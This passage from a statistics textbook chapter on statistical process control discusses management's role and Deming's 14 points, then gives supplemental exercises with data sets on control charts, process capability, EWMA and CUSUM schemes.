The methods of statistical process control can provide significant payback to those companies that can successfully implement them. While SPC seems to be a collection of statistically based problem-solving tools, there is more to the successful use of SPC than simply learning and using these tools. Management involvement and commitment to the quality-improvement process is the most vital component of SPC's potential success. Management is a role model, and others in the organization will look to management for guidance and as an example. A team approach is also important, for it is usually difficult for one person alone to introduce process improvements. Many of the "magnificent seven" problem-solving tools are helpful in building an improvement team, including cause-and-effect diagrams, Pareto charts, and defect concentration diagrams. The basic SPC problem-solving tools must become widely known and widely used throughout the organization. Continuous training in SPC and quality improvement is necessary to achieve this widespread knowledge of the tools.

The objective of an SPC-based quality-improvement program is continuous improvement on a weekly, quarterly, and annual basis. SPC is not a one-time program to be applied when the business is in trouble and later abandoned. Quality improvement must become part of the culture of the organization.

The control chart is an important tool for process improvement. Processes do not naturally operate in an in-control state, and the use of control charts is an important step that must be taken early in an SPC program to eliminate assignable causes, reduce process variability, and stabilize process performance. To improve quality and productivity, we must begin to manage with facts and data, and not just rely on judgment. Control charts are an important part of this change in management approach.

In implementing a company-wide SPC program, we have found that the following elements are usually present in all successful efforts:

1. Management leadership
2. A team approach
3. Education of employees at all levels
4. Emphasis on continuous improvement
5. A mechanism for recognizing success

We cannot overemphasize the importance of management leadership and the team approach. Successful quality improvement is a "top-down" management-driven activity. It is also important to measure progress and success and to spread knowledge of this success throughout the organization. When successful improvements are communicated throughout the company, this can provide motivation and incentive to improve other processes and to make continuous improvement a normal part of the way of doing business.

The philosophy of W. Edwards **Deming** provides an important framework for implementing quality and productivity improvement. Deming's philosophy is summarized in his 14 points for management. The adherence to these management principles has been an important factor in Japan's industrial success and continues to be the catalyst in that nation's quality- and productivity-improvement efforts. This philosophy has also now spread rapidly in the West. **Deming's 14 points** are as follows.

1. **Create a constancy of purpose focused on the improvement of products and services.** Constantly try to improve product design and performance. Investment in research, development, and innovation will have a long-term payback to the organization.

2. **Adopt a new philosophy of rejecting poor workmanship, defective products, or bad service.** It costs as much to produce a defective unit as it does to produce a good one (and sometimes more). The cost of dealing with scrap, rework, and other losses created by defectives is an enormous drain on company resources.

3. **Do not rely on mass inspection to "control" quality.** All inspection can do is sort out defectives, and at this point it is too late because we have already paid to produce these defectives. Inspection occurs too late in the process, it is expensive, and it is often ineffective. Quality results from the prevention of defectives through process improvement, not inspection.

4. **Do not award business to suppliers on the basis of price alone, but also consider quality.** Price is a meaningful measure of a supplier's product only if it is considered in relation to a measure of quality. In other words, the total cost of the item must be considered, not just the purchase price. When quality is considered, the lowest bidder is frequently not the low-cost supplier. Preference should be given to suppliers who use modern methods of quality improvement in their business and who can demonstrate process control and capability.

5. **Focus on continuous improvement.** Constantly try to improve the production and service system. Involve the workforce in these activities and make use of statistical methods, particularly the SPC problem-solving tools discussed in the previous section.

6. **Practice modern training methods and invest in training for all employees.** Everyone should be trained in the technical aspects of their job, as well as in modern quality- and productivity-improvement methods. The training should encourage all employees to practice these methods every day.

7. **Practice modern supervision methods.** Supervision should not consist merely of passive surveillance of workers, but should be focused on helping the employees improve the system in which they work. The first goal of supervision should be to improve the work system and the product.

8. **Drive out fear.** Many workers are afraid to ask questions, report problems, or point out conditions that are barriers to quality and effective production. In many organizations the economic loss associated with fear is large; only management can eliminate fear.

9. **Break down the barriers between functional areas of the business.** Teamwork among different organizational units is essential for effective quality and productivity improvement to take place.

10. **Eliminate targets, slogans, and numerical goals for the workforce.** A target such as "zero defects" is useless without a plan as to how to achieve this objective. In fact, these slogans and "programs" are usually counterproductive. Work to improve the system and provide information on that.

11. **Eliminate numerical quotas and work standards.** These standards have historically been set without regard to quality. Work standards are often symptoms of management's inability to understand the work process and to provide an effective management system focused on improving this process.

12. **Remove the barriers that discourage employees from doing their jobs.** Management must listen to employee suggestions, comments, and complaints. The

person who is doing the job is the one who knows the most about it, and usually has valuable ideas about how to make the process work more effectively. The workforce is an important participant in the business, and not just an opponent in collective bargaining.

13. **Institute an ongoing program of training and education for all employees.** Education in simple, powerful statistical techniques should be mandatory for all employees. Use of the basic SPC problem-solving tools, particularly the control chart, should become widespread in the business. As these charts become widespread, and as employees understand their uses, they will be more likely to look for the causes of poor quality and to identify process improvements. Education is a way of making everyone partners in the quality-improvement process.

14. **Create a structure in top management that will vigorously advocate the first 13 points.**

As we read Deming's 14 points, we notice two things. First, there is a strong emphasis on change. Second, the role of management in guiding this change process is of dominating importance. But what should be changed, and how should this change process be started? For example, if we want to improve the yield of a semiconductor manufacturing process, what should we do? It is in this area that statistical methods most frequently come into play. To improve the semiconductor process, we must determine which controllable factors in the process influence the number of defective units produced. To answer this question, we must collect data on the process and see how the system reacts to changes in the process variables. Statistical methods, including the SPC and experimental design techniques in this book, can contribute to this knowledge.

SUPPLEMENTAL EXERCISES

15-73. The diameter of fuse pins used in an aircraft engine application is an important quality characteristic. Twenty-five samples of three pins each are shown as follows:

Sample Number	Diameter		
1	64.030	64.002	64.019
2	63.995	63.992	64.001
3	63.988	64.024	64.021
4	64.002	63.996	63.993
5	63.992	64.007	64.015
6	64.009	63.994	63.997
7	63.995	64.006	63.994
8	63.985	64.003	63.993
9	64.008	63.995	64.009
10	63.998	74.000	63.990
11	63.994	63.998	63.994
12	64.004	64.000	64.007
13	63.983	64.002	63.998
14	64.006	63.967	63.994
15	64.012	64.014	63.998
16	64.000	63.984	64.005
17	63.994	64.012	63.986
18	64.006	64.010	64.018
19	63.984	64.002	64.003
20	64.000	64.010	64.013
21	63.988	64.001	64.009
22	64.004	63.999	63.990
23	64.010	63.989	63.990
24	64.015	64.008	63.993
25	63.982	63.984	63.995

(a) Set up $\overline{X}$ and R charts for this process. If necessary, revise limits so that no observations are out-of-control.
(b) Estimate the process mean and standard deviation.
(c) Suppose the process specifications are at 64 ± 0.02. Calculate an estimate of PCR. Does the process meet a minimum capability level of $PCR \geq 1.33$?
(d) Calculate an estimate of PCR_k. Use this ratio to draw conclusions about process capability.
(e) To make this process a six-sigma process, the variance σ^2 would have to be decreased such that $PCR_k = 2.0$. What should this new variance value be?
(f) Suppose the mean shifts to 64.01. What is the probability that this shift will be detected on the next sample? What is the ARL after the shift?

15-74. Rework Exercise 15-73 with $\overline{X}$ and S charts.

15-75. Plastic bottles for liquid laundry detergent are formed by blow molding. Twenty samples of $n = 100$ bottles are inspected in time order of production, and the fraction defective in each sample is reported. The data are as follows:

Sample	Fraction Defective
1	0.12
2	0.15
3	0.18
4	0.10
5	0.12
6	0.11
7	0.05
8	0.09
9	0.13
10	0.13
11	0.10
12	0.07
13	0.12
14	0.08
15	0.09
16	0.15
17	0.10
18	0.06
19	0.12
20	0.13

(a) Set up a P chart for this process. Is the process in statistical control?
(b) Suppose that instead of $n = 100$, $n = 200$. Use the data given to set up a P chart for this process. Revise the control limits if necessary.
(c) Compare your control limits for the P charts in parts (a) and (b). Explain why they differ. Also, explain why your assessment about statistical control differs for the two sizes of n.

15-76. Cover cases for a personal computer are manufactured by injection molding. Samples of five cases are taken from the process periodically, and the number of defects is noted. Twenty-five samples follow:

Sample	No. of Defects	Sample	No. of Defects
1	3	7	2
2	2	8	4
3	0	9	1
4	1	10	0
5	4	11	2
6	3	12	3
13	2	20	0
14	8	21	2
15	0	22	1
16	2	23	9
17	4	24	3
18	3	25	2
19	5		

(a) Using all the data, find trial control limits for a U chart for the process.
(b) Use the trial control limits from part (a) to identify out-of-control points. If necessary, revise your control limits.
(c) Suppose that instead of samples of five cases, the sample size was 10. Repeat parts (a) and (b). Explain how this change alters your answers to parts (a) and (b).

15-77. An article in *Quality Engineering* ["Is the Process Capable? Tables and Graphs in Assessing C_{pm}" (1992, Vol. 4(4))]. Considered manufacturing data. Specifications for the outer diameter of the hubs were 60.3265 ± 0.001 mm. A random sample with size $n = 20$ was taken and the data are shown in the following table.

Sample	x	Sample	x
1	60.3262	11	60.3262
2	60.3262	12	60.3262
3	60.3262	13	60.3269
4	60.3266	14	60.3261
5	60.3263	15	60.3265
6	60.3260	16	60.3266
7	60.3262	17	60.3265
8	60.3267	18	60.3268
9	60.3263	19	60.3262
10	60.3269	20	60.3266

(a) Construct a control chart for individual measurements. Revise the control limits if necessary.
(b) Compare your chart in part (a) to one that uses only the last (least significant) digit of each diameter as the measurement. Explain your conclusion.
(c) Estimate μ and σ from the moving range of the revised chart and use this value to estimate PCR and PCR_k and interpret these ratios.

15-78. The following data from the U.S. Department of Energy Web site (http://www.eia.doe.gov) reported the total U.S. *renewable* energy consumption by year (trillion BTU) from 1973 to 2004.

Year	Total Renewable Energy Consumption (Trillion BTU)	Year	Total Renewable Energy Consumption (Trillion Btu)
1973	4433.121	1989	6294.209
1974	4769.395	1990	6132.572
1975	4723.494	1991	6158.087
1976	4767.792	1992	5907.147
1977	4249.002	1993	6155.959
1978	5038.938	1994	6064.779
1979	5166.379	1995	6669.261
1980	5494.42	1996	7136.799
1981	5470.574	1997	7075.152
1982	5985.352	1998	6560.632
1983	6487.898	1999	6598.63
1984	6430.646	2000	6158.232
1985	6032.728	2001	5328.335
1986	6131.542	2002	5835.339
1987	5686.932	2003	6081.722
1988	5488.649	2004	6116.287

(a) Using all the data, find trial control limits for a control chart for individual measurements, construct the chart, and plot the data.
(b) Do the data appear to be generated from an in-control process? Comment on any patterns on the chart.

15-79. The following dataset was considered in *Quality Engineering* ["Analytic Examination of Variance Components" (1994–1995, Vol. 7(2))]. A quality characteristic for cement mortar briquettes was monitored. Samples of size $n = 6$ were taken from the process, and 25 samples from the process are shown in the following table.

(a) Using all the data, find trial control limits for $\overline{X}$ and S charts. Is the process in control?

Batch	$\bar{x}$	s
1	572.00	73.25
2	583.83	79.30
3	720.50	86.44
4	368.67	98.62
5	374.00	92.36
6	580.33	93.50
7	388.33	110.23
8	559.33	74.79
9	562.00	76.53
10	729.00	49.80
11	469.00	40.52
12	566.67	113.82
13	578.33	58.03
14	485.67	103.33
15	746.33	107.88
16	436.33	98.69
17	556.83	99.25
18	390.33	117.35
19	562.33	75.69
20	675.00	90.10
21	416.50	89.27
22	568.33	61.36
23	762.67	105.94
24	786.17	65.05
25	530.67	99.42

(b) Suppose that the specifications are at 580 ± 250. What statements can you make about process capability? Compute estimates of the appropriate process capability ratios.
(c) To make this process a "6-sigma process," the variance σ^2 would have to be decreased such that $PCR_k = 2.0$. What should this new variance value be?
(d) Suppose the mean shifts to 600. What is the probability that this shift will be detected on the next sample? What is the ARL after the shift?

15-80. Suppose that an $\overline{X}$ control chart with 2-sigma limits is used to control a process. Find the probability that a false out-of-control signal will be produced on the next sample. Compare this with the corresponding probability for the chart with 3-sigma limits and discuss. Comment on when you would prefer to use 2-sigma limits instead of 3-sigma limits.

15-81. Consider the diameter data in Exercise 15-73.
(a) Construct an EWMA control chart with $\lambda = 0.2$ and $L = 3$. Comment on process control.
(b) Construct an EWMA control chart with $\lambda = 0.5$ and $L = 3$ and compare your conclusion to part (a).

15-82. Consider the renewable energy data in Exercise 15-78.
(a) Construct an EWMA control chart with $\lambda = 0.2$ and $L = 3$. Do the data appear to be generated from an incontrol process?
(b) Construct an EWMA control chart with $\lambda = 0.5$ and $L = 3$ and compare your conclusion to part (a).

15-83. Consider the hub data in Exercise 15-77.
(a) Construct an EWMA control chart with $\lambda = 0.2$ and $L = 3$. Comment on process control.
(b) Construct an EWMA control chart with $\lambda = 0.5$ and $L = 3$ and compare your conclusion to part (a).

15-84. Consider the data in Exercise 15-18. Set up a CUSUM scheme for this process assuming that $\mu = 16$ is the process target. Explain how you determined your estimate of σ and the CUSUM parameters K and H.

15-85. Consider the hardness measurement data in Exercise 15-17. Set up a CUSUM scheme for this process using $\mu = 50$ and $\sigma = 2$, so that $K = 1$ and $H = 10$. Is the process in control?

15-86. Reconsider the viscosity data in Exercise 15-20. Construct a CUSUM control chart for this process using $\mu_0 = 500$ as the process target. Explain how you determined your estimate of σ and the CUSUM parameters H and K.

15-87. The following data were considered in *Quality Progress* ["Digidot Plots for Process Surveillance" (1990, May, pp. 66–68)]. Measurements of center thickness (in mils) from 25 contact lenses sampled from the production process at regular intervals are shown in the following table.

Sample	x	Sample	x
1	0.3978	14	0.3999
2	0.4019	15	0.4062
3	0.4031	16	0.4048
4	0.4044	17	0.4071
5	0.3984	18	0.4015
6	0.3972	19	0.3991
7	0.3981	20	0.4021
8	0.3947	21	0.4009
9	0.4012	22	0.3988
10	0.4043	23	0.3994
11	0.4051	24	0.4016
12	0.4016	25	0.4010
13	0.3994		

(a) Construct a CUSUM scheme for this process with the target $\mu_0 = 0.4$. Explain how you determined your estimate of σ and the CUSUM parameters H and K. Is the process in control?

(b) Construct an EWMA control chart with $\lambda = 0.5$ and $L = 3$ and compare your conclusions to part (a).

15-88. Suppose that a process is in control and an $\overline{X}$ chart is used with a sample size of 4 to monitor the process. Suddenly there is a mean shift of 1.5σ.

(a) If 3-sigma control limits are in use on the $\overline{X}$ chart, what is the probability that this shift will remain undetected for three consecutive samples?

(b) If 2-sigma control limits are in use on the $\overline{X}$ chart, what is the probability that this shift will remain undetected for three consecutive samples?

(c) Compare your answers to parts (a) and (b) and explain why they differ. Also, which limits you would recommend using and why?

15-89. Consider the control chart for individuals with 3-sigma limits.

(a) Suppose that a shift in the process mean of magnitude σ occurs. Verify that the ARL for detecting the shift is ARL = 43.9.

(b) Find the ARL for detecting a shift of magnitude 2σ in the process mean.

(c) Find the ARL for detecting a shift of magnitude 3σ in the process mean.

(d) Compare your answers to parts (a), (b), and (c) and explain why the ARL for detection is decreasing as the magnitude of the shift increases.

15-90. Consider a control chart for individuals, applied to a continuous 24-hour chemical process with observations taken every hour.

(a) If the chart has 3-sigma limits, verify that the in-control ARL is ARL = 370. How many false alarms would occur each 30-day month, on the average, with this chart?

(b) Suppose that the chart has 2-sigma limits. Does this reduce the ARL for detecting a shift in the mean of magnitude σ? (Recall that the ARL for detecting this shift with 3-sigma limits is 43.9.)

(c) Find the in-control ARL if 2-sigma limits are used on the chart. How many false alarms would occur each month with this chart? Is this in-control ARL performance satisfactory? Explain your answer.

15-91. The depth of a keyway is an important part quality characteristic. Samples of size $n = 5$ are taken every four hours from the process and 20 samples are summarized in the following table.

(a) Using all the data, find trial control limits for $\overline{X}$ and R charts. Is the process in control?

(b) Use the trial control limits from part (a) to identify out-of-control points. If necessary, revise your control limits. Then, estimate the process standard deviation.

(c) Suppose that the specifications are at 140 ± 2. Using the results from part (b), what statements can you make about process capability? Compute estimates of the appropriate process capability ratios.

(d) To make this process a "6-sigma process," the variance σ^2 would have to be decreased such that $PCR_k = 2.0$. What should this new variance value be?

Sample	$\overline{X}$	r
1	139.7	1.1
2	139.8	1.4
3	140.0	1.3
4	140.1	1.6
5	139.8	0.9
6	139.9	1.0
7	139.7	1.4
8	140.2	1.2
9	139.3	1.1
10	140.7	1.0
11	138.4	0.8
12	138.5	0.9

continued

Sample	$\overline{X}$	r
13	137.9	1.2
14	138.5	1.1
15	140.8	1.0
16	140.5	1.3
17	139.4	1.4
18	139.9	1.0
19	137.5	1.5
20	139.2	1.3

(e) Suppose the mean shifts to 139.7. What is the probability that this shift will be detected on the next sample? What is the ARL after the shift?

15-92. Consider a control chart for individuals with 3-sigma limits. What is the probability that there will not be a signal in three samples? In six samples? In 10 samples?

15-93. Suppose a process has a $PCR = 2$, but the mean is exactly three standard deviations above the upper specification limit. What is the probability of making a product outside the specification limits?

15-94. A process is controlled by a P chart using samples of size 100. The center line on the chart is 0.05.

(a) What is the probability that the control chart detects a shift to 0.08 on the first sample following the shift?

(b) What is the probability that the control chart does not detect a shift to 0.08 on the first sample following the shift, but does detect it on the second sample?

(c) Suppose that instead of a shift in the mean to 0.08, the mean shifts to 0.10. Repeat parts (a) and (b).

(d) Compare your answers for a shift to 0.08 and for a shift to 0.10. Explain why they differ. Also, explain why a shift to 0.10 is easier to detect.

15-95. Suppose the average number of defects in a unit is known to be 8. If the mean number of defects in a unit shifts to 16, what is the probability that it will be detected by a U chart on the first sample following the shift

(a) if the sample size is $n = 4$?

(b) if the sample size is $n = 10$?

Use a normal approximation for U.

15-96. Suppose the average number of defects in a unit is known to be 10. If the mean number of defects in a unit shifts to 14, what is the probability that it will be detected by a U chart on the first sample following the shift

(a) if the sample size is $n = 1$?

(b) if the sample size is $n = 4$?

Use a normal approximation for U.

15-97. An EWMA chart with $\lambda = 0.5$ and $L = 3.07$ is to be used to monitor a process. Suppose that the process mean is $\mu_0 = 10$ and $\sigma = 2$.

(a) Assume that $n = 1$. What is the ARL without any shift in the process mean? What is the ARL to detect a shift to $\mu = 12$.

(b) Assume that $n = 4$. Repeat part (a) and comment on your conclusions.

15-98. The following table provides the costs for gasoline by month in the U.S. over recent years and the percentage of the cost due to refining, distribution and marketing, taxes, and crude oil. The table is from the U.S. Department of Energy Web site (http://tonto.eia.doe.gov/oog/info/gdu/gaspump.html). There is some concern that the refining or distribution and marketing percentages of the retail price have shown patterns over time.

(a) Construct separate control charts for the refining percentage of the retail price and the distribution and marketing percentage of the retail price. Use control charts for individual measurements. Comment on any signs of assignable causes on these charts.

(b) Construct a control chart for the crude oil percentage of the retail price. Use a control chart for individual measurements. Comment on any signs of assignable causes on this chart.

(c) Another way to study the data is to calculate refining, distribution and marketing, and tax as costs directly. The costs of these categories might not depend strongly on the crude oil cost. Use the percentages provided in the table to calculate the cost each month associated with refining and distribution and marketing. Construct separate control charts for the refining and the distribution and marketing costs each month. Use control charts for individual measurements. Comment on any signs of assignable causes on these charts and comment on any differences between these charts and the ones constructed in part (a).

What We Pay For in a Gallon of Regular Gasoline

Mo/Year	Retail Price (Dollars per gallon)	Refining (percentage)	Distribution & Marketing (percentage)	Taxes (percentage)	Crude Oil (percentage)
Jan-00	1.289	7.8	13.0	32.1	47.1
Feb-00	1.377	17.9	7.5	30.1	44.6
Mar-00	1.517	15.4	12.8	27.3	44.6
Apr-00	1.465	10.1	20.2	28.3	41.4
May-00	1.485	20.2	9.2	27.9	42.7

What We Pay For in a Gallon of Regular Gasoline					
Mo/Year	Retail Price (Dollars per gallon)	Refining (percentage)	Distribution & Marketing (percentage)	Taxes (percentage)	Crude Oil (percentage)
Jun-00	1.633	22.2	8.8	25.8	43.1
Jul-00	1.551	13.2	15.8	27.2	43.8
Aug-00	1.465	15.8	7.5	28.8	47.8
Sep-00	1.550	15.4	9.0	27.2	48.3
Oct-00	1.532	13.7	10.1	27.5	48.6
Nov-00	1.517	10.4	11.8	27.8	50.0
Dec-00	1.443	8.0	17.9	29.2	44.8
Jan-01	1.447	17.8	10.4	29.2	42.7
Feb-01	1.450	17.3	11.0	29.1	42.6
Mar-01	1.409	18.8	9.7	30.0	41.5
Apr-01	1.552	31.6	4.6	27.1	36.7
May-01	1.702	26.4	14.0	24.7	35.0
Jun-01	1.616	13.2	24.1	26.0	36.7
Jul-01	1.421	10.0	20.0	30.0	40.0
Aug-01	1.421	20.0	9.0	30.0	41.0
Sep-01	1.522	18.0	17.0	28.0	37.0
Oct-01	1.315	10.0	20.8	31.9	37.2
Nov-01	1.171	10.0	18.0	36.0	36.0
Dec-01	1.086	11.7	12.7	38.7	36.9
Jan-02	1.107	13.0	11.8	37.9	37.2
Feb-02	1.114	12.1	11.2	37.7	39.1
Mar-02	1.249	19.4	6.1	33.6	40.9
Apr-02	1.397	15.5	13.0	30.1	41.4
May-02	1.392	11.9	14.2	30.2	43.7
Jun-02	1.382	15.0	13.0	30.4	41.6
Jul-02	1.397	15.0	12.6	30.1	42.3
Aug-02	1.396	11.4	13.4	30.0	45.0
Sep-02	1.400	10.8	12.6	30.0	46.7
Oct-02	1.445	13.9	11.7	29.1	45.3
Nov-02	1.419	11.1	18.0	29.6	41.3
Dec-02	1.386	11.7	12.3	30.3	45.7
Jan-03	1.458	11.5	10.3	28.8	49.4
Feb-03	1.613	15.0	9.5	26.0	49.5
Mar-03	1.693	14.8	14.8	24.8	45.5
Apr-03	1.589	13.2	19.8	26.4	40.5
May-03	1.497	15.3	16.3	28.1	40.4
Jun-03	1.493	15.1	12.3	28.1	44.5
Jul-03	1.513	15.3	11.9	27.8	44.9
Aug-03	1.620	22.5	8.2	25.9	43.3
Sept-03	1.679	13.9	22.7	25.0	38.3
Oct-03	1.564	14.9	16.1	26.9	42.2
Nov-03	1.512	11.7	15.3	27.8	45.2
Dec-03	1.479	11.5	12.6	28.4	47.5
Jan-04	1.572	15.9	9.9	26.7	47.5
Feb-04	1.648	19.1	9.2	25.5	46.2
Mar-04	1.736	19.0	11.3	24.2	45.5

continued

What We Pay For in a Gallon of Regular Gasoline					
Mo/Year	Retail Price (Dollars per gallon)	Refining (percentage)	Distribution & Marketing (percentage)	Taxes (percentage)	Crude Oil (percentage)
Apr-04	1.798	22.0	9.9	23.4	44.6
May-04	1.983	30.6	7.8	21.2	40.4
Jun-04	1.969	21.3	16.7	21.3	40.7
Jul-04	1.911	20.9	11.3	21.9	45.8
Aug-04	1.878	13.9	12.2	22.4	51.5
Sep-04	1.870	14.8	9.1	22.5	53.6
Oct-04	2.000	13.0	9.3	21.0	56.7
Nov-04	1.979	10.7	14.6	21.2	53.6
Dec-04	1.841	8.9	18.1	23.9	49.1
Jan-05	1.831	17.7	7.3	24.0	50.9
Feb-05	1.910	16.1	9.3	23.0	51.6
Mar-05	2.079	19.3	6.2	21.2	53.4
Apr-05	2.243	20.9	9.6	19.6	49.8
May-05	2.161	17.9	12.8	20.4	49.0
Jun-05	2.156	18.5	6.9	20.4	54.2
Jul-05	2.290	17.9	8.0	19.2	54.9
Aug-05	2.486	24.3	2.1	17.7	55.9
Sep-05	2.903	27.3	7.5	15.2	50.0
Oct-05	2.717	15.1	17.8	16.2	50.9
Nov-05	2.257	8.3	13.1	19.5	57.1
Dec-05	2.185	13.5	7.9	20.1	58.4
Jan-06	2.316	13.4	6.6	19.8	60.1
Feb-06	2.280	9.8	11.4	20.1	58.6
Mar-06	2.425	21.7	4.5	18.9	54.8
Apr-06	2.742	25.8	3.1	16.7	54.2
May-06	2.907	21.9	8.8	15.8	53.4
Jun-06	2.885	22.0	7.9	15.9	54.1
Jul-06	2.981	26.3	6.3	15.4	52.0
Aug-06	2.952	15.2	13.5	15.9	55.4
Sep-06	2.555	6.3	18.8	18.3	56.7
Oct-06	2.245	10.9	10.6	20.8	57.7
Nov-06	2.229	14.6	7.5	20.4	57.5
Dec-06	2.313	12.9	9.4	19.7	58.0
Jan-07	2.240	10.6	15.2	20.3	53.9
Feb-07	2.278	18.0	5.8	20.0	56.3
Mar-07	2.563	23.6	8.5	15.5	52.3
Apr-07	2.845	28.1	7.6	14.0	50.3
May-07	3.146	27.9	13.3	12.7	46.1
Jun-07	3.056	22.7	13.7	13.0	50.5
Jul-07	2.965	18.4	11.4	13.4	56.8
Aug-07	2.786	13.5	11.8	14.3	60.4
Sep-07	2.803	12.8	8.6	14.2	64.3
Oct-07	2.803	10.1	8.1	14.2	67.6
Nov-07	3.080	10.0	8.7	13.0	68.3
Dec-07	3.018	8.1	10.5	13.2	68.1
Jan-08	3.043	7.8	11.1	13.1	67.9

What We Pay For in a Gallon of Regular Gasoline

Mo/Year	Retail Price (Dollars per gallon)	Refining (percentage)	Distribution & Marketing (percentage)	Taxes (percentage)	Crude Oil (percentage)
Feb-08	3.028	9.9	7.2	13.2	69.7
Mar-08	3.244	8.0	7.9	12.3	71.8
Apr-08	3.458	10.0	5.8	11.5	72.7
May-08	3.766	10.0	4.7	10.6	74.7
Jun-08	4.054	8.5	6.8	9.8	74.8
Jul-08	4.062	3.2	11.2	9.8	75.8
Aug-08	3.779	6.1	10.2	10.6	73.1
Sep-08	3.703	14.2	8.2	10.8	66.8
Oct-08	3.051	3.3	25.0	13.1	58.6
Nov-08	2.147	−3.7	24.7	18.6	60.4
Dec-08	1.687	0.7	19.5	23.6	56.2
Jan-09	1.788	13.4	10.7	22.3	53.6
Feb-09	1.923	16.8	14.9	20.7	47.6
Mar-09	1.959	12.0	12.3	20.4	55.3
Apr-09	2.049	12.0	12.1	19.5	56.4
May-09	2.266	17.6	−3.9	19.5	66.8
Jun-09	2.631	13.7	10.3	15.1	60.9
Jul-09	2.527	10.1	14.0	15.8	60.1
Aug-09	2.616	11.0	9.7	15.4	63.9
Sep-09	2.554	6.7	13.5	15.7	64.0

15-99. The following table shows the number of e-mails a student received at each hour from 8:00 A.M. to 6:00 P.M. The samples are collected for five days from Monday to Friday.

Hour	M	T	W	Th	F
1	2	2	2	3	1
2	2	4	0	1	2
3	2	2	2	1	2
4	4	4	3	3	2
5	1	1	2	2	1
6	1	3	2	2	1
7	3	2	1	1	0
8	2	3	2	3	1
9	1	3	3	2	0
10	2	3	2	3	0

(a) Use the rational subgrouping principle to comment on why an $\overline{X}$ chart that plots one point each hour with a subgroup of size 5 is not appropriate.

(b) Construct an appropriate attribute control chart. Use all the data to find trial control limits, construct the chart, and plot the data.

(c) Use the trial control limits from part (b) to identify out-of-control points. If necessary, revise your control limits, assuming that any samples that plot outside the control limits can be eliminated.

15-100. The following are the number of defects observed on 15 samples of transmission units in an automotive manufacturing company. Each lot contains five transmission units.

Sample	No. of Defects	Sample	No. of Defects
1	8	11	6
2	10	12	10
3	24	13	11
4	6	14	17
5	5	15	9
6	21		
7	10		
8	7		
9	9		
10	15		

(a) Using all the data, compute trial control limits for a U control chart, construct the chart, and plot the data.

(b) Determine whether the process is in statistical control. If not, assume assignable causes can be found and out-of-control points eliminated. Revise the control limits.

15-101. Consider an $\overline{X}$ control chart with $UCL = 32.802$, $UCL = 24.642$, and $n = 5$. Suppose the mean shifts to 30.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL to detect the shift?

15-102. The number of visits (in millions) on a Web site is recorded every day. The following table shows the samples for 25 consecutive days.

Sample	Number of Visits	Sample	Number of Visits
1	10.12	4	9.35
2	9.92	5	9.60
3	9.76	6	8.60
7	10.46	19	12.53
8	10.58	20	10.76
9	9.95	21	11.92
10	9.50	22	13.24
11	11.26	23	10.64
12	10.02	24	11.31
13	10.95	25	11.26
14	8.99	26	11.79
15	9.50	27	10.53
16	9.66	28	11.82
17	10.42	29	11.47
18	11.30	30	11.76

(a) Estimate the process standard estimation.

(b) Set up a CUSUM control chart for this process, assuming the target is 10. Does the process appear to be in control?

MIND-EXPANDING EXERCISES

15-103. Suppose a process is in control, and 3-sigma control limits are in use on the $\overline{X}$ chart. Let the mean shift by 1.5σ. What is the probability that this shift will remain undetected for three consecutive samples? What would its probability be if 2-sigma control limits were used? The sample size is 4.

15-104. Consider an $\overline{X}$ control chart with k-sigma control limits. Develop a general expression for the probability that a point will plot outside the control limits when the process mean has shifted by δ units from the center line.

15-105. Suppose that an $\overline{X}$ chart is used to control a normally distributed process and that samples of size n are taken every n hours and plotted on the chart, which has k-sigma limits.

(a) Find a general expression for the expected number of samples and time that will be taken until a false action signal is generated.

(b) Suppose that the process mean shifts to an out-of-control state, say $\mu_1 = \mu_0 + \delta\sigma$. Find an expression for the expected number of samples that will be taken until a false action is generated.

(c) Evaluate the in-control ARL for $k = 3$. How, does this change if $k = 2$? What do you think about the use of 2-sigma limits in practice?

(d) Evaluate the out-of-control ARL for a shift of 1 sigma, given that $n = 5$.

15-106. Suppose a P chart with center line at $\overline{p}$ with k-sigma control limits is used to control a process. There is a critical fraction defective p_c that must be detected with probability 0.50 on the first sample following the shift to this state. Derive a general formula for the sample size that should be used on this chart.

15-107. Suppose that a P chart with center line at $\overline{p}$ and k-sigma control limits is used to control a process. What is the smallest sample size that can be used on this control chart to ensure that the lower control limit is positive?

15-108. A process is controlled by a P chart using samples of size 100. The center line on the chart is 0.05. What is the probability that the control chart detects a shift to 0.08 on the first sample following the shift? What is the probability that the shift is detected by at least the third sample following the shift?

15-109. Consider a process where specifications on a quality characteristic are 100 ± 15. We know that the standard deviation of this normally distributed quality characteristic is 5. Where should we center the process to minimize the fraction defective produced? Now suppose the mean shifts to 105 and we are using a sample size of 4 on an $\overline{X}$ chart. What is the probability that such a shift will be detected on the first sample following the shift? What is the average number of samples until an out-of-control point occurs? Compare this result to the

MIND-EXPANDING EXERCISES

average number of observations until a defective occurs (assuming normality).

15-110. ***NP* Control Chart.** An alternative to the control chart for fraction defective is a control chart based on the number of defectives, or the *NP* control chart. The chart has centerline at $n\bar{p}$, and the control limits are

$$UCL = n\bar{p} + 3\sqrt{n\bar{p}(1-\bar{p})}$$
$$LCL = n\bar{p} - 3\sqrt{n\bar{p}(1-\bar{p})}$$

and the number of defectives for each sample is plotted on the chart.

(a) Verify that the control limits given above are correct.
(b) Apply this control chart to the data in Example 15-4.
(c) Will this chart always provide results that are equivalent to the usual *P* chart?

15-111. ***C* Control Chart.** An alternative to the *U* chart is a chart based on the number of defects. The chart has center line at $n\bar{u}$, and the control limits are

$$UCL = n\bar{u} + 3\sqrt{n\bar{u}}$$
$$LCL = n\bar{u} - 3\sqrt{n\bar{u}}$$

(a) Apply this chart to the data in Example 15-5.
(b) Will this chart always provide results equivalent to the *U* chart?

15-112. **Standardized Control Chart.** Consider the *P* chart with the usual 3-sigma control limits. Suppose that we define a new variable:

$$Z_i = \frac{\hat{P}_i - \bar{P}}{\sqrt{\dfrac{\bar{P}(1-\bar{P})}{n}}}$$

as the quantity to plot on a control chart. It is proposed that this new chart will have a center line at 0 with the upper and lower control limits at ± 3. Verify that this standardized control chart will be equivalent to the original *P* chart.

15-113. **Unequal Sample Sizes.** One application of the standardized control chart introduced in Exercise 15-112 is to allow unequal sample sizes on the control chart. Provide details concerning how this procedure would be implemented and illustrate using the following data:

Sample, i	1	2	3	4	5	6	7	8	9	10
n_i	20	25	20	25	50	30	25	25	25	20
p_i	0.2	0.16	0.25	0.08	0.3	0.1	0.12	0.16	0.12	0.15

IMPORTANT TERMS AND CONCEPTS

ARL
Assignable causes
Attributes control charts
Average run length
C chart
Cause-and-effect diagram
Center line
Chance causes
Control chart
Control limits
Cumulative sum control chart
